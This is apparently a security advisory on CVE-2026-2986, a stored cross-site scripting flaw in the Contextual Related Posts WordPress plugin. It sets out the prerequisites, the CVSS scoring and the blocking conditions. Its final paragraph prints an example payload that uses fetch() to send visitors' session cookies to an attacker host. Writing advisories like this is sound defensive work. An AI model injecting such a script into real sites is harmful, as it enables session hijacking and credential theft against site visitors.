Contextual Related Posts CVE-2026-2986

Attacker must possess valid WordPress user credentials with contributor-level access or higher (Contributor, Author, Editor, or Administrator roles). This is not a default condition; the WordPress installation must have granted such access to the attacker or to a compromised account. No special plugin configuration is required-the vulnerability exists in the default installation of versions 4.2.1 and earlier. The 'other_attributes' parameter must be exposed in a user-accessible interface (plugin settings, post meta, or shortcode parameters) and must be rendered in page output without escaping. Exploitation is blocked if: (1) the WordPress installation does not have the Contextual Related Posts plugin active, (2) the attacker has only Subscriber or no authenticated role, (3) the plugin version is 4.2.2 or later with the patch applied, or (4) a WAF or other control prevents the injection of special characters into the 'other_attributes' parameter.

CVSS score of 6.4 (Medium) with attack vector Network, attack complexity Low, and privileges required Level (authenticated contributor) reflects moderate real-world risk. The score's impact is limited to Confidentiality and Integrity (C:L, I:L) and excludes Availability, because XSS typically does not directly crash systems. However, the scope is Changed (S:C), meaning the vulnerability can affect resources beyond the vulnerable component-in this case, any user viewing an injected page is at risk of session hijacking, credential theft, or malware distribution. The exploitation prerequisites are concrete: attacker must have WordPress contributor-level or higher access, which is not default but is commonly granted to content creators and guest authors. The lack of user interaction required (UI:N) and low complexity (AC:L) mean exploitation is trivial once access is obtained. No EPSS score, KEV status, or POC availability data was provided in the input; therefore, we cannot assess current exploitation probability or active abuse. The true risk depends on whether the plugin is widely deployed and whether contributor accounts are routinely created in target environments. A contributor account might be obtained through credential compromise, weak password policies, or supply chain social engineering targeting content creators.

An authenticated attacker with WordPress contributor privileges logs in and edits or creates a post or page. In the plugin's settings or meta fields for the post/page, they inject a malicious script into the 'other_attributes' parameter, such as: <script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>. The script is stored in the WordPress database without sanitization. When a site visitor views the page, the browser renders the HTML and executes the injected script, sending the visitor's session cookie to the attacker's server. The attacker can then hijack the visitor's session, escalate privileges, or steal credentials if the script uses a more sophisticated payload (e.g., keylogger, fake login form).